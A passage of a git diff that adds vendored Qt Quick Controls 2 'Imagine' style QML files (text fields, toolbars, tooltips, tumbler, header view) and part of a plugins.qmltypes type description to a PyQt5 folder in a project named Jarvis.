background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.palette.buttonText + } + + background: NinePatchImage { + source: Imagine.url + "tabbutton-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TextArea.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TextArea.qml new file mode 100644 index 00000000..c7505b52 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TextArea.qml @@ -0,0 +1,97 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.TextArea { + id: control + + implicitWidth: Math.max(contentWidth + leftPadding + rightPadding, + implicitBackgroundWidth + leftInset + rightInset, + placeholder.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(contentHeight + topPadding + bottomPadding, + implicitBackgroundHeight + topInset + bottomInset, + placeholder.implicitHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + verticalAlignment: Qt.AlignVCenter + placeholderTextColor: Color.transparent(control.color, 0.5) + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + elide: Text.ElideRight + renderType: control.renderType + } + + background: NinePatchImage { + source: Imagine.url + "textarea-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"focused": control.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TextField.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TextField.qml new file mode 100644 index 00000000..3ff0ad44 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TextField.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.TextField { + id: control + + implicitWidth: implicitBackgroundWidth + leftInset + rightInset + || Math.max(contentWidth, placeholder.implicitWidth) + leftPadding + rightPadding + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding, + placeholder.implicitHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + placeholderTextColor: Color.transparent(control.color, 0.5) + verticalAlignment: Qt.AlignVCenter + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + elide: Text.ElideRight + renderType: control.renderType + } + + background: NinePatchImage { + source: Imagine.url + "textfield-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"focused": control.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolBar.qml new file mode 100644 index 00000000..99bcd3ba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolBar.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ToolBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + background: NinePatchImage { + source: Imagine.url + "toolbar-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"header": control.position === T.ToolBar.Header }, + {"footer": control.position === T.ToolBar.Footer }, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolButton.qml new file mode 100644 index 00000000..cc22f88d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolButton.qml @@ -0,0 +1,95 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ToolButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + spacing: 6 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.palette.buttonText + } + + background: NinePatchImage { + source: Imagine.url + "toolbutton-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"checkable": control.checkable}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"flat": control.flat}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolSeparator.qml new file mode 100644 index 00000000..c0887e4d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolSeparator.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ToolSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: NinePatchImage { + source: Imagine.url + "toolseparator-separator" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } + + background: NinePatchImage { + source: Imagine.url + "toolseparator-background" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolTip.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolTip.qml new file mode 100644 index 00000000..21d75ebc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ToolTip.qml @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ToolTip { + id: control + + x: parent ? (parent.width - implicitWidth) / 2 : 0 - (background ? background.leftInset : 0) + y: -implicitHeight - (background ? background.topInset : 0) + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topMargin: background ? background.topInset : 0 + leftMargin: background ? background.leftInset : 0 + rightMargin: background ? background.rightInset : 0 + bottomMargin: background ? background.bottomInset : 0 + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + closePolicy: T.Popup.CloseOnEscape | T.Popup.CloseOnPressOutsideParent | T.Popup.CloseOnReleaseOutsideParent + + contentItem: Text { + text: control.text + font: control.font + wrapMode: Text.Wrap + color: control.palette.toolTipText + } + + background: NinePatchImage { + source: Imagine.url + "tooltip-background" + NinePatchImageSelector on source { + states: [ + // ### + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Tumbler.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Tumbler.qml new file mode 100644 index 00000000..12025cc5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Tumbler.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Tumbler { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 60 // ### remove 60 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 200 // ### remove 200 in Qt 6 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + delegate: Text { + text: modelData + font: control.font + color: control.palette.text + opacity: (1.0 - Math.abs(Tumbler.displacement) / (control.visibleItemCount / 2)) * (control.enabled ? 1 : 0.6) + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + + contentItem: TumblerView { + implicitWidth: 60 + implicitHeight: 200 + model: control.model + delegate: control.delegate + path: Path { + startX: control.contentItem.width / 2 + startY: -control.contentItem.delegateHeight / 2 + PathLine { + x: control.contentItem.width / 2 + y: (control.visibleItemCount + 1) * control.contentItem.delegateHeight - control.contentItem.delegateHeight / 2 + } + } + + property real delegateHeight: control.availableHeight / control.visibleItemCount + } + + background: NinePatchImage { + source: Imagine.url + "tumbler-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/VerticalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/VerticalHeaderView.qml new file mode 100644 index 00000000..3fc9ca5a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/VerticalHeaderView.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T + +T.VerticalHeaderView { + id: control + + implicitWidth: contentWidth + implicitHeight: syncView ? syncView.height : 0 + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: Math.max(control.width, text.implicitWidth + (cellPadding * 2)) + implicitHeight: text.implicitHeight + (cellPadding * 2) + color: "#f6f6f6" + border.color: "#e4e4e4" + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: "#ff26282a" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/plugins.qmltypes new file mode 100644 index 00000000..785b6dba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/plugins.qmltypes @@ -0,0 +1,347 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Controls.Imagine 2.15' + +Module { + dependencies: ["QtQuick.Controls 2.0"] + Component { + name: "QQuickAnimatedImageSelector" + prototype: "QQuickImageSelector" + exports: ["QtQuick.Controls.Imagine.impl/AnimatedImageSelector 2.3"] + exportMetaObjectRevisions: [0] + } + Component { name: "QQuickAttachedObject"; prototype: "QObject" } + Component { + name: "QQuickImage" + defaultProperty: "data" + prototype: "QQuickImageBase" + Enum { + name: "HAlignment" + values: { + "AlignLeft": 1, + "AlignRight": 2, + "AlignHCenter": 4 + } + } + Enum { + name: "VAlignment" + values: { + "AlignTop": 32, + "AlignBottom": 64, + "AlignVCenter": 128 + } + } + Enum { + name: "FillMode" + values: { + "Stretch": 0, + "PreserveAspectFit": 1, + "PreserveAspectCrop": 2, + "Tile": 3, + "TileVertically": 4, + "TileHorizontally": 5, + "Pad": 6 + } + } + Property { name: "fillMode"; type: "FillMode" } + Property { name: "paintedWidth"; type: "double"; isReadonly: true } + Property { name: "paintedHeight"; type: "double"; isReadonly: true } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "mipmap"; revision: 3; type: "bool" } + Property { name: "autoTransform"; revision: 5; type: "bool" } + Property { name: "sourceClipRect"; revision: 15; type: "QRectF" } + Signal { name: "paintedGeometryChanged" } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "VAlignment" } + } + Signal { + name: "mipmapChanged" + revision: 3 + Parameter { type: "bool" } + } + Signal { name: "autoTransformChanged"; revision: 5 } + } + Component { + name: "QQuickImageBase" + defaultProperty: "data" + prototype: "QQuickImplicitSizeItem" + Enum { + name: "LoadPixmapOptions" + values: { + "NoOption": 0, + "HandleDPR": 1, + "UseProviderOptions": 2 + } + } + Enum { + name: "Status" + values: { + "Null": 0, + "Ready": 1, + "Loading": 2, + "Error": 3 + } + } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "source"; type: "QUrl" } + Property { name: "progress"; type: "double"; isReadonly: true } + Property { name: "asynchronous"; type: "bool" } + Property { name: "cache"; type: "bool" } + Property { name: "sourceSize"; type: "QSize" } + Property { name: "mirror"; type: "bool" } + Property { name: "currentFrame"; revision: 14; type: "int" } + Property { name: "frameCount"; revision: 14; type: "int"; isReadonly: true } + Property { name: "colorSpace"; revision: 15; type: "QColorSpace" } + Signal { + name: "sourceChanged" + Parameter { type: "QUrl" } + } + Signal { + name: "statusChanged" + Parameter { type: "QQuickImageBase::Status" } + } + Signal { + name: "progressChanged" + Parameter { name: "progress"; type: "double" } + } + Signal { name: "currentFrameChanged"; revision: 14 } + Signal { name: "frameCountChanged"; revision: 14 } + Signal { name: "sourceClipRectChanged"; revision: 15 } + Signal { name: "colorSpaceChanged"; revision: 15 } + } + Component { + name: "QQuickImageSelector" + prototype: "QObject" + exports: ["QtQuick.Controls.Imagine.impl/ImageSelector 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "source"; type: "QUrl"; isReadonly: true } + Property { name: "name"; type: "string" } + Property { name: "path"; type: "string" } + Property { name: "states"; type: "QVariantList" } + Property { name: "separator"; type: "string" } + Property { name: "cache"; type: "bool" } + } + Component { + name: "QQuickImagineStyle" + prototype: "QQuickAttachedObject" + exports: ["QtQuick.Controls.Imagine/Imagine 2.3"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "path"; type: "string" } + Property { name: "url"; type: "QUrl"; isReadonly: true } + } + Component { + name: "QQuickImplicitSizeItem" + defaultProperty: "data" + prototype: "QQuickItem" + Property { name: "implicitWidth"; type: "double"; isReadonly: true } + Property { name: "implicitHeight"; type: "double"; isReadonly: true } + } + Component { + name: "QQuickItem" + defaultProperty: "data" + prototype: "QObject" + Enum { + name: "Flags" + values: { + "ItemClipsChildrenToShape": 1, + "ItemAcceptsInputMethod": 2, + "ItemIsFocusScope": 4, + "ItemHasContents": 8, + "ItemAcceptsDrops": 16 + } + } + Enum { + name: "TransformOrigin" + values: { + "TopLeft": 0, + "Top": 1, + "TopRight": 2, + "Left": 3, + "Center": 4, + "Right": 5, + "BottomLeft": 6, + "Bottom": 7, + "BottomRight": 8 + } + } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "resources"; type: "QObject"; 